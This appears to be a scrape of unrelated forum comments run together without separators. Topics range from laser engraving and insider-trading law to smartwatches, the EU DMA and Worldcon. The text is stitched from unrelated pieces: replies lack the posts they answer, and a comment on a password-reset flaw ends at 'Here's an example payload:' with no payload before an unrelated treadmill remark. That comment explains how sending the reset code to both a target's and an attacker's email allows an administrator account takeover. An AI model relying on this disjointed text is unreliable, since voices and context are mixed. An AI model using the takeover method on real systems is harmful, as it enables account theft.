Just the knowledge that the spot is oval is already useful: you could compensate cutting speed to correct for that and get a more even burn.

A simple trick to check the shape of the spot is to set the beam to low power and to purposefully increase the Z as far as it will go and project the beam on a piece of black anodized aluminum. You'll very clearly see the alignment of the individual diodes and as you lower the Z you see them converge on what eventually will become the focal point. This gives you very useful hints about the shape of the cone, on my machine the cone is definitely oval (if not outright linear!) in cross section, far longer in X than in Y. This results in an ~ 30% penalty in cutting speed depending on the direction of travel. To ensure full penetration I have to set the machine 30% slower, whereas if the software compensated I'd be able to run the same speed with much more consistent kerf width as a result and less time wasted.

Continue by trying to touch two fingers on opposite hands behind your head. Why can't you do that?

I can, easily, every time, any pair of fingers, and also behind my back and many other positions. Really, I don't care for this assumptive style of explication.

I can readily believe it is an issue for many or even most people (you have investigated and know far more about this topic than I). I am able to do this from a combination of spacing out on this sort of thing since childhood and a lot of athletic training, but surely this isn't that rare.
272MB/s is "consumer spinning rust RAID 5 via USB3" speeds. I know this because that's roughly what my NAS backup machine does on writes/reads. From a NAS on gbit it's overpowered by 150%, for sure.

I can't speak for your state, but in my state the cookie isn't discarded in a landfill, it goes to composting facility.
Yep, and by tilting the spinning discs/cylinders you can have omnidirectional control by changing which part of the edge of the rotating cylinder is in contact with the surface above it.
You don't need the ultrasound thing posted in the other comment, that patent may be a different path they've also tried.
If you require including the fonts outside the base set you are going to end up tossing a lot of fonts around that aren't really needed. What I'm after is use this if you can, if you can't use that.

As for scaling--it doesn't work when the zoom is too great. It really doesn't work too well if you have some sort of texture to your image and you squash it too much.

Consider a real world case: maps. I'm looking at a topographic map of an area around here, the farther back I pull the camera the more features get omitted because painting them would end up obscuring more useful information. You could use lines with a wider spacing but that isn't even too useful as the camera pulls back.
Small details of note: all world science fiction conventions are run by a bunch of amateurs; this is designed not to be a professional operation. This is supposed to be a passion project by passionate fans to celebrate works they love! In fact, attempts to create a central authority to run these conventions have faced severe resistance, all the way back to Heinlein's involvement in worldcons (to be clear, Heinlein hated the notion of central authorities ruling over how worldcons are run)!
This is correct:

The vulnerability lies in the management of emails when resetting passwords. An attacker can provide 2 emails and the reset code will be sent to both. It is therefore possible to provide the e-mail address of the target account as well as that of the attacker, and to reset the administrator password.

Here's an example payload:

To add to your point, there is a somewhat unpleasant sensation once you get off the treadmill, i.e., even if you are standing in place, it feels like you are moving forward.
This is basically how professional short sellers like Citron Research and Muddy Waters work.

They spend months doing research and if it’s promising they first build their short positions, then publish the research. Often just being targeted by these famous short sellers will crash the stock. But it’s not insider trading because their research was independently sourced.
It’s funny how travel has become so ingrained into the urban psyche that it doesn’t occur that not travelling is an option.

It’s especially funny as you would think the whole reason people want to live so close to other people is because they don’t want to travel far to engage with other people… Yet it is always about how to get as far away from them as possible, whether by bike or train or whatever it takes.

Perhaps your comment would be more constructive if you could say how my comments break the rules. Help me grow and help me follow the rules by being specific.

- - -

You say that you’d equally critique the opposite viewpoint, but that’s been factually untrue before:

You censored people for pointing out in purely neutral terms, using videos of the people themselves giving interviews, that BLM was a Marxist organization — on the basis that it’s an “inherent flame war” to say true things the community is upset by.

- - -

Again, my comment doesn’t seem any different than many others here you didn’t feel the need to critique.

To me, that seems like the antisemitism we witnessed from Harvard et al — who censor speech on campus, then cry “free speech” when making calls for genocide.
Yeah, they don’t compare in that sense. But I still find McKenna very charming to listen to, and am sometimes wowed to what cooky ideas he may have reached in his lectures. The man has a fascinating oratory skill. Despite his wild speculations he has a very interesting depiction of his own ideas and his overarching theme is one of union with the nature which no matter how reached at it’s a positive thing IMO.

A few seconds? Wow! I did a science fair project on the Mandelbrot set using my Amiga 2000, and it took me a good 45+ minutes to generate a single 320x200 color image. IIRC, I wrote the generator in some variant of Pascal, and was so happy with the performance increase over Basic on my C=128...

I ran in to the precision limit pretty quickly, same as you. I didn't understand computers well enough to know that's what the problem was, and I remember spending hours pouring over my code, trying to figure out where the bug was. Good times. :D
This sounds like an extremely useful and worthwhile project, if you ever decide to pick it up again I'd be more than happy to contribute.
This is a well written article, that makes the point that rooftop solar is good, but a market based approach to roll our it leads to anti-social outcomes like scammers installing substandard systems consumers pay through the nose for.

Still, I would like to see some solutions articulated. Should we be promoting solar installation by non-profits? Direct government financed solar installation? Or abandoning rooftop and promoting community solar?
My statement was copied from Cornell Law's definition [1].

But, yes, all of these shorthand definitions are designed for the general public's consumption, and skip over specific nuances - including the SEC's definition. The sentence read above would seem to permit a person with a fiduciary duty to share information with someone who does not have one, and for that person to trade based on the information. However, we know this is not permitted.

In any case, I think my comment still stands. I specifically called out in my parenthetical in the original comment that the information would need to be knowable only by those with a fiduciary or confidentiality obligation to the company. This seems to cover your comment and sibling's concern.

I do not own a car, but I do take the train lots of places, and I enjoy being able to communicate with people while I commute.

For what it's worth, I agree that distracted driving is a huge problem, which is a big part of why I would like to see a drastic reduction in the rate of car ownership, the number of cars in our cities, and extremely harsh punishments for drivers who kill people. We also should make it much, much easier to live far away from cars, but close to other people, in developments like https://www.bloommerwede.nl/ for instance.

This reminds me of how MADD looked at drunk driving and decided the problem was all alcohol and not, in fact, car dependency.
The actual article was from Reddit’s r/wallstreetbets , where any excuse to post meme trades goes. Go read for fun.
Historically would it not have been colder given how rarely canals freeze now?
Turns out that that text is incorrect and it's 64-bit and 128-bit block sizes. The text on the cheat sheet page has been partially corrected to now say 128-bit block size, but still says 64-bit key size.

The current version of that page reads as:

> This would typically be 2^35 bytes (~34GB) for 64-bit keys and 2^68 bytes (~295 exabytes) for 128-bit block size.

So it's sloppy writing that's the issue, not that people are still using 64-bit keys. (I had a similar question reading the quote above and followed the link where this was pointed out.)
As much as I love F-Droid, I'll put it firmly into the developer community as well.
> "Non-public" in this context refers to information which would only be available to those with a fiduciary responsibility and/or a confidentiality obligation to the organization.

Right, but information available to those with a confidentiality obligation can still be traded on if acquired legally. That's the crucial point. It's not enough for it to be non-public and material, you must also be in breach of a fiduciary duty (or acting in concert with somebody who is). For example, if a Boeing CEO was at a coffee shop discussing an upcoming acquisition at the table next to you, you'd be able to trade on it, even though it was confidential information not available to the general public and obviously material to Boeing's stock price.

Ctrl-F Casino Royale

During the film, the terrorist financier Le Chiffre uses a Ugandan warlord's money to short-sell stock in Skyfleet, thus betting the money on the company's failure. The banker plans to bring about said failure by destroying the company's prototype airliner. After his original bomb-maker is killed by James Bond in Madagascar, another is hired to complete the job. The bomb-maker infiltrates Miami International Airport and steals a fuel tanker; attaching a keyring-sized bomb to the vehicle. As he attempts to blow up the prototype with the truck he is intercepted by 007 and a fight ensues on-board. Eventually the terrorist is forced from his vehicle and Bond narrowly prevents the truck from colliding with the plane. With his plan foiled, Le Chiffre is left with a major financial loss and is forced to set up a high-stakes poker tournament at Casino Royale in Montenegro.

Maximum integer size on a CPU or in a language has nothing to do with key sizes for serious (non-toy) cryptographic systems. Use multiple integers, likely in an array, if needed, as has been done for a very long time.
This is the ideal scenario. We have a great neighborhood with lovely, helpful people. However, as this last storm pointed out - most of them do not prepare very well for potential disaster situations. I can stock up for my family, and have enough to share, but there will be limits.

The lack of prep from my neighbors concerns me. I was glad to help. I just won't be able to feed the neighborhood. A worst case scenario earthquake will be far more damaging and stressful.
Not to be pedantic, but in this case it's probably 30 usd for print and ebook (there are always coupons on the manning website).
It's also worth pointing out that if an LLM gives you code that works, but you can't understand why it works, asking it to explain what each line is doing is remarkably effective.
This would probably be violating the employee’s fiduciary duty to Meta.
That’s simply not the case. Read some studies, all of your assumptions here are incorrect.

Eyeline is slightly correlated with safety when compared with a device you need to locate, however with a constant position device the effect disappears. The actual problem is cognitive load.

Having your phone visible increases cognitive load even if you don’t use it. Composing text message by voice is equivalently distracting to typing one. Yes really, this has been rigorously studied. Texting by voice is only better than holding a phone and talking on it if you’re careful about using it in safer situations. And even then, the gains are pretty small.

Using a touchscreen with large buttons has higher cognitive load than an equivalent voice interface, even accounting for misunderstandings. The key intuition here is that you have to decrease amount you think about or interact with your device. Stop looking at your phone, it’ll be there when you get there.

I disagree that the end consumer has so much agency. As a consumer I simply have the choice to buy product A or B - the pollution caused by the factory that the store ordered hoping you would buy it - is obscured by many levels.

Just wanna chime in and say my Samsung galaxy watch 5 pro does feel like a piece of junk in many regards, but specifically for heart rate tracking.

Whether I set it to measure continuously or ever 10 minutes, it never captures the real highs of the day.

I've been cycling a ton since I got swift and my first "real" bike last autumn and had been pretty sedentary for months before.

You'd expect the long term min max heart rate graph to increase but it's pretty much the same. The rare times it picks up on my elevated heart rate as I bike, it warns me that my "at rest" heart rate is high..

I've tried adjusting tightness, even reducing arm hair with a clipper as people were saying it can interfere. Nothing changed.

It was half off when I bought my phone so I grabbed it but it still feels overpriced. For sleep tracking I feel like it's been relatively decent and otherwise obviously I get notifications and stuff.

But the UI often feels laggy, simple things like entering my pin lags.

Ever since I switched from an iPad pro to the galaxy tab s9 ultra, I do appreciate how well things work when you own everything in the same ecosystem but the watch is the low point.

Not really. You actually have a unique set of sensory neurons that tell you the spacial orientation of your body by measuring muscle/ligament stretch:

Edit: yes your general "body sense" is intergrated over multiple senses, including sight, touch, inner ear, ... but my point is that proprioception is an independent signal in that mix.
Scene Responsiveness for Illusions in Mixed Reality (By Meta)
We aren't using a special lens. It works but only within a certain range. The ideal laser focus, on our machine, is only about 3mm from the lens body. The handle posts necessitate moving the laser head farther away, to around 11mm. So, we move the laser head as close as possible without hitting those posts. We don't bend the posts for fear of damaging them.

This tool helps level the cup edges the best we can. My wife makes between 25 and 100 of these cups a month and this tool really helped her. We were using a digital level and having to create a design of the cup edge and figure out the angle for each brand and size. This gets rid of that complexity.

The laser is out of focus for the majority of the burn but it's in a range that allows it to work well on powder coated tumblers.

Specifically, we use a Creality Falcon 2 Diode 22W laser for tumblers. It's not, however, the machine I would recommend to others, for a number of reasons.

Why Did Car Insurance Get So Expensive?
I read your response until near the very end and was itching to replying "but EDM!" before I got to your last paragraph! I actually was lucky enough to be able to use EDM for my initial prototype and I remain absolutely confounded as to what degree of accuracy, precision, and repeatability we're able to get out of this fairly old machining technique (and one that also avoids the z-depth issues you pointed out), but it has its drawbacks. It's insanely slow (though I don't know if machines made this side of 1990 are appreciably any faster) and it's too expensive for anything other than prototyping or one-off bespoke designs, and of course there are limitations to what materials you can cut.

> The only economical way to accurately cut large pieces of thick material [..]

Fortunately for most real-world applications the old maxim about size and required precision being inversely correlated tends to hold.

I was a die-hard subtractive machining zealot but I've slowly come around to appreciating 3D printers and they've made incredible strides in terms of capabilities and accuracy over the past decade. The hobbyist stuff still has some ways to go, but the exponential improvements are hard to ignore and I think it's become a viable suggestion for a lot of things were 2D machining used to reign king, at least where the end goal is to make something and not specifically to machine something.
Well said. A test account having admin privileges over a non-prod system is not the real problem. Poor isolation between prod and non-prod is.
On the contrary, the DMA explicitly provides for this.

Article 6 sub 4, second and third paragraph:

> The gatekeeper shall not be prevented from taking, to the extent that they are strictly necessary and proportionate, measures to ensure that third-party software applications or software application stores do not endanger the integrity of the hardware or operating system provided by the gatekeeper, provided that such measures are duly justified by the gatekeeper.
Furthermore, the gatekeeper shall not be prevented from applying, to the extent that they are strictly necessary and proportionate, measures and settings other than default settings, enabling end users to effectively protect security in relation to third-party software applications or software application stores, provided that such measures and settings other than default settings are duly justified by the gatekeeper.

According to Apple, the notarization requirement and the soft requirements for “software application stores” to be able to ensure users are safe, fall within this exception that the DMA provides.

Other than that, the DMA doesn’t contain price regulation, so Apple would be in the clear here with the fees they intend to charge. Especially when the new fee structure is similar to (or I’d argue, a little bit more competitive than) current market rates.
I think it’s used correctly.

I’ve asked this same question when leaders have had entire webinars about how awesome the office is and how nice it is to be back to work. I’m still not sure if their work life is just that different from mine, or they are super stupid, or they are gaslighting.

It’s made worse as they interview 20 employees and every one of them talks about how much better the office is than remote. And then me and every coworker I know feels differently.
